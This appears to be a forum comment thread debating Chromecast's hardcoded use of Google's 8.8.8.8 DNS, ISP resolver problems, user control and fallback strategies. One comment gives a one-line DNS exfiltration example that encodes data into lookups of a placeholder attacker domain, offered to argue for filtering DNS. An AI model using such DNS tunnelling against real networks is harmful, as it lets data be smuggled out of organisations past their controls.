We hardcode known good DNS servers in IoT devices that we ship from work because a significant proportion of issues being reported by customers were caused by ISP resolvers doing things they shouldn't - mostly either redirecting all domains to a splash screen telling people about bandwidth quotas/other things, or not respecting the TTL returned by our resolvers, which could cause data to get directed to the wrong place for extended periods.

This is a really interesting point, thank you.

My initial reaction to the post above was "ship a known-good DNS if you must, but honor the user-chosen service unless it's not answering." This makes sense as a more common reason you'd want to hardcode a DNS, and a reason to honor your setting over whatever is coming back from the customer's DNS.

I still can't see a good rationale for only using the hardcoded DNS, though. Not only does it strip user control, it opens the door to all kinds of secondary stupidity like breaking every Chromecast in Turkey by insisting on a blocked DNS.

There's no reason "use only hardcoded DNS" couldn't be user configurable, for all the benefit with none of the costs.

Well... all of the benefit to the user. Google doesn't get to use your DNS requests to sell ads.

> Well... all of the benefit to the user. Google doesn't get to use your DNS requests to sell ads.

How do you envision this working on the product in question? When are you ever making arbitrary DNS lookups in a Chromecast?

Seriously take the tinfoil hat off for a minute and think rationally. Google owns the entirety of the software on the device, and all connections to & from it. There's nothing they gain in terms of data harvesting from hard-coding their DNS here. There is no user input in play at all here. What are they going to harvest from a device that only ever does DNS lookups for their own hostnames?

If this was happening on Chrome, or Android, or something where user input & interaction was actually a thing then sure. But this is a goddamn Chromecast. All it does is watch YouTube and similar. How in any way, shape, or form can those DNS requests in any way help sell ads?

In this instance, I think it's got less to do with harvesting data from the lookups, and more to do with ensuring advertising gets shown?

i.e. I suspect Google force their own DNS so that one cannot so easily use e.g. PiHole to filter out DNS lookups for servers that stream e.g. YouTube adverts.

?

Been there too, sad to say. We haven't gone so far as to hard-code DNS servers yet, but it's shocking how bad some ISPs' DNS support can be.

There should be a better way to fight it, but I fear Google may win here because I haven't been able to find anything wrong with the way their servers work. I.e., 8.8.8.8 isn't doing anything evil afaict... Yet.

Doing that can be (barely) acceptable, provided that you also do two other things: make it clear to users that you're doing that, and allow a way for the user to change that behavior if they desire.

We default to Cloudflare’s 1.1.1.1 resolver because they have a clear policy on what they will and won’t do with the data available to them.

OK but if that "known good" DNS server goes down or isn't available, you still have others you can fall back to. The device shouldn't just become completely useless. But that's what Google is doing here. It's their DNS servers or none, it seems.

I too have written code that asks 8.8.8.8 and 8.8.4.4, because the DNS server I get from DHCP frequently is so brain-damaged. (SRV records, what's that?) I asked both in parallel.

On one hand it feels wrong to not ask in parallel.

On the other, $%#@%#$%!$@# the %$#%#$%^$#@%#$! packet filters that block DNS packets to everyone except the local brain-damaged resolver. Or even redirect. If Google will fight that fight I'll happily enjoy the benefits.

As someone who has had to block and redirect DNS traffic, there are reasons we do this and if you have a problem with it then you should contact the admins about it. If you're unwilling to do that, maybe you shouldn't be doing what you're trying to do at work.

Do you happen to be the admin at the meeting venue that discarded my SRV and DNSSEC lookups? What were the reasons you did this, if so?

Use the guest WiFi, that's what it's there for.

Does that have a sensibly working resolver?

In my haphazard experience, the networks that block access to UDP port 53 are more than likely to have gelded broken name servers that e.g. serve empty NXERROR results for anything but A/TXT, and receptionists that say, "uh, let me check" and then check that their browser can open the google home page. (Insert invectives here.)

I've seen be fixed. Once. One meeting I attended started with a quite broken network, but it was an IETF meeting, and the IETF tools team reconfigured the AP channel layout, the DHCP server and the caching name server at that hotel and after that it was fine.

> If Google will fight that fight I'll happily enjoy the benefits.

Evidently, they are:

https://en.wikipedia.org/wiki/DNS_over_HTTPS

https://developers.google.com/speed/public-dns/docs/dns-over...

And that's how we are going to get mandatory https proxies in networks... The arms race will continue, making the lives of everyone more difficult.

A HTTPS proxy can't rewrite the contents of your stream. If it redirects to the wrong host, the cert doesn't match.

That's fine, it is not about rewriting stream, but about not allowing to connect certain hosts.

I will never install that cert, so it stops there for me. IT security theater be damned.

> On the other, $%#@%#$%!$@# the %$#%#$%^$#@%#$! packet filters that block DNS packets to everyone except the local brain-damaged resolver.

Curse it all you want, but forcing all DNS lookups to be resolved by a particular server is often an important security measure.

Lolwut? Seriously, what serious exploit would be stopped by this.

To me its a reasonable trade off, the probability the google DNS server goes down is low and the amount of people who purposely block google dns is also low.

Sure, but don't we reserve the right to run our own split-horizon DNS servers and point fqdn's our devices want to resolve to anything we desire?

Don't like it? Use TLS and verify certificates.

I wonder why they aren't just using TLS and pinning certificates? I suppose they probably do, but furthermore want to ensure that they control the resolution of other services (e.g. Netflix) for the device.

Sure, if the product doesn't fit your need then either build your own chromecast or use different product. I personally do not want to build my own so I'm perfectly okay with the trade off.

My company blocks google dns.

Resolving in parallel is one thing. Breaking down when your hardcoded DNS isn’t available, but the customer’s working DNS is... is something else entirely.

Case in point, I was getting NXDOMAIN for mailarchive.ietf.org until I switched to 8.8.8.8 from my work's DNS.

Unless you want your own dns server used at all times.

But why would you care about that? You're already connecting to Google's service, YouTube, so what does it change to use Google's DNS to resolve it? What is the circumstance where you'd care about not using Google's DNS but then connect to a Google service anyway? If Chromecasts allowed arbitrary web browsing, I would maybe see your point -- but they don't.

Perhaps you live in Turkey and Google Public DNS is blocked?

I agree that on a privacy level, hiding DNS requests from Google when your Google Chromecast is calling Youtube seems like closing the stable door after the horse is gone. But there are reasons other than privacy that relying on Google's DNS might go wrong; it can be blocked (or trigger suspicion) by a government, ISPs have occasionally broken their routing to 8.8.8.8 specifically, and Google DNS itself has even had (very rare) outages.

None of those issues are enormously common, except perhaps Turkey's censorship, but they're all totally avoidable. Using 8.8.8.8 as a default and failing over to the user's DNS if necessary seems to be strictly better than this approach from a consumer viewpoint.

These are good points, agreed. Thank you

Chromecast isn't sold in Turkey. That fact doesn't invalidate your general point. But pragmatism easily wins when balancing all the real-world craziness of captive portals, ISP DNS hacks, and creative name-resolution optimizations against "but it could be grey-marketed in Turkey." This is especially true for a narrow-purpose consumer-entertainment appliance that already depends on other services provided by its manufacturer.

https://support.google.com/store/answer/2462844

> But why would you care about that?

The reason doesn't matter. We should be in control of our own networks. Google shouldn't be deciding for us.

You are in control of your own network.

Map 8.8.8.8 to the machine of your choosing.

And when the next update uses DNS over TLS with cert pinning?

What if my network is IPv6 only?

The fact that the device requires IPv4 is a much different complaint than anything to do with the use of the DNS protocol. What if YouTube were just IPv4 only? Then you'd be in the same situation no matter what DNS server you are using.

Then DHCP isn't even used/required and this is all moot as clients are fully allowed (and even expected) to self-configure, including DNS if they want. Heck, DNS advertisement via IPv6-RA is still only even a proposed standard: https://tools.ietf.org/html/rfc6106 it hasn't been ratified yet, and support isn't widespread.

Would you say that Google is "controlling your network" if they just hard-coded the IP for YouTube? This is effectively the same but with one layer of indirection in between. What's the difference?

When did Google decide that you should buy a chromecast?

Does Google make the DNS requirement clear pre-purchase, or accept returns over this issue?

This isn't the same as coming into your home and forcing you to use Public DNS, sure, but I think people are justified in being annoyed if they buy something, then find an arbitrary and unannounced dependency in it.

(I can't find any mention of the DNS requirement by Google, just extensive threads elsewhere about working around the problems it's caused people. It looks like there is a 15-day return window for working devices. That's something, but if I stopped allowing Public DNS on day 16 and my device stopped working, I'd hardly feel like I had fair notice unless it was explicit somewhere in the instructions.)

Where do they announce all the other IPs that need to be reachable in order to access YouTube? Why is the dependency on 8.8.8.8 being reachable somehow more annoying than the rest?

Well there are nearly infinite ways to route traffic to/from YouTube.com, that is how the internet works. However for this product there is a very hard dependency on this one specific IP address, which isn’t documented and is pretty unreasonable

> Well there are nearly infinite ways to route traffic to/from YouTube.com, that is how the internet works.

I'm talking about the endpoint. YouTube.com resolves to a finite set of IP addresses, and accessing YouTube requires that outgoing traffic is allowed to all of them. All of this is entirely under the control of Google, so how does adding one small additional dependency on 8.8.8.8 affect the end user's control in any way? It's just one more IP address that has to be allowed to be able to use YouTube, and it's equally as documented as the others (i.e. not documented at all).

Additionally, 8.8.8.8 uses anycast routing to distribute the requests over many servers. So it's not like having "one fixed IP" is any worse than having one fixed domain, as you seem to be implying. It's not a single point of failure.

You do realize that many networks use DNS security products, right?

These networks block all DNS traffic to 'random' DNS servers, including 8.8.8.8 to prevent any number of different attacks. The security device can examine the DNS packet and say 'youtube.com = allowed', or 'yourtube.com = not allowed'. It can also to the reverse "if youtube.com 'expected_ip_set' then allow". By requiring this device to use outside DNS servers you are punching holes in the network for no particularly valid reason.

Unfiltered and uncontrolled DNS is a security risk. I can transmit all your company information out of your network easily with DNS queries.

     get a $UUENCODED_DATA.sequence_id.attack.com

Good points, although in this case allowing outgoing access to YouTube already allows unrestricted exfiltration of data (you could send a PM or post a comment on a video)

Ah I see - well if your position is that it's not that much of a big deal to add one more IP address and that customers shouldn't mind that much ... then that's pretty subjective. However the reason we are here and talking about this is that one very prominent customer really DOES mind. Judging from the other responses, this person is not alone.

The bigger picture here is that Google has a lot of power and any time they do something like hard-coding their own DNS server in a product (which could be construed as saying "we ARE the internet") people get worried and annoyed, whether this was a benign oversight, innocent mistake or a deliberate act.

One reason to care is that https://pi-hole.net is DNS-based.

This was how I found out actually, see my other comment for more detail, but yes, this is one very good reason we would want control over our DNS.

Not just Google - when you cast you handoff a URL to the CC to stream from - this could be from Netflix, or anywhere really. 8.8.8.8 as a brute-force backup I can understand, but by default it should be taking the network DHCP settings.

That default, sadly, would basically guarantee the thing doesn't work for all too many users. And as a consumer electronics product (especially in the sub-$50 price-range), the market-smart thing to do is configure the defaults to work in the saddle-point of worst-case and common scenario (i.e. badly-configured local router talking to a standards-hostile ISP's DHCP configurations).

> That default, sadly, would basically guarantee the thing doesn't work for all too many users.

Bold claim. Citation needed.

The proper thing to do is to use the DNS settings the DHCP server provided and testing those settings by providing a server the device can lookup and connect to (with TLS). If the server proved it's authenticity, the DNS settings work. (some devices might cache this result, others might do this during startup)

If an error occurs or a reasonably short timeout expires, the device can: if it has UI the user will see, it can report the problem to the user and ask if it's ok to try a common fix (which can be explained in detail in an optional "[technical details]" popup). If the user approves, then retry with the hardcoded DNS server (or any other workaround). If the device doesn't have a UI that could realistically ask this type of question, automatically trying the fix when the DNS test fails might be appropriate.

TL;DR - don't make assumptions about the user's situation, even if you think it is "market-smart". Test for the required behavior and fail-safely by enabling the common workarounds.

> it can report the problem to the user

How? And what should the user do with that information?

This device is not architected for users who know what DNS, DHCP, or TLS are, much less who care.

> This device is not architected for users who know what DNS, DHCP, or TLS are, much less who care.

The only technical data I suggested showing the user was an optional "technical details" popup, for the rare cases when someone (perhaps you) actually was interested in that information.

> How?

Iff there is a useful UI, the same way they show anything to the user. I suggested automatically failing over to the hardcoded DNS server (or similar workarounds) automatically. (If the device is literally a lightbulb and the only "UI" is if the lightbulb is on or off, user interaction doesn't make sense; just failover.

> And what should the user do with that information?

At a minimum, the are informed that something about their network required using a workaround. However, you seem to be missing the point: the minimal amount of user interaction I'm suggesting isn't (primarily) about informing the user. It's about asking permission to use their network contrary to how their network asked to be used. You are a guest on their network..

(if the DHCP server didn't provide a DNS serer, then there is no problem; just use a known server)

More importantly, I'm mostly talking about testing and failing over to a the builtin DNS server, instead of simply assuming it's needed in "some" cases and turning it on for everyone. This shouldn't be difficult. The DHCP already happened, do the DNS lookup and check a special URL over TLS. If it fails or times out change the DNS to Cloudflare or Google's service and retry.

That seems to add a lot of logic and interaction complexity to work around a problem that is only a problem for people who already have the technical skill to remap 8.8.8.8 to their preferred DNS server anyway.

> don't make assumptions about the user's situation

Using 8.8.8.8 is exactly the opposite of an assumption. It always works in any config, that's the point.

EDIT: Besides, obviously, the OP's extremely unusual config, where he is effectively just blocking the service with his firewall. Why isn't he outraged about having to unblock all of YouTube's other IPs? What's special about 8.8.8.8?

8.8.8.8 isn't a youtube IP, it's Google's DNS service. Most networks hand out their own DNS and generally expect clients on their network to be using it. While most consumer home networks are very permissive not every network is and not respecting the dns server handed to a client by DHCP is broken behavior.

I adressed these points already in other places through this thread: Why would it be any different if they just hardcoded the IP to YouTube? Would that also be "not respecting the DNS server from the DHCP client"? What if they used a proprietary protocol (not DNS) to look up the IP to YouTube?

Just because your network provides a DNS server does not mean that it makes sense to use that DNS server for every single IP address lookup in every piece of software. It's there for general internet browsing purposes, not specialized proprietary purposes like this.

The point that 8.8.8.8 doesn't always work. The linked article is about highlighting exactly that.

CDN and routing optimization ala 'ECS'. Also ISPs that inject or screw with DNS queries. Its easier and more importantly cheaper to get all the same metrics and data from other sources rather than DNS. (And you already consented for those other data sources.)

I don't trust they aren't evil, they are. I trust they are also smart.

If you're savvy enough to configure your own DNS server, you're probably savvy enough to modify ip table resolution.

Good behaviour really is honoring the resolvers provided in a DHCP answer.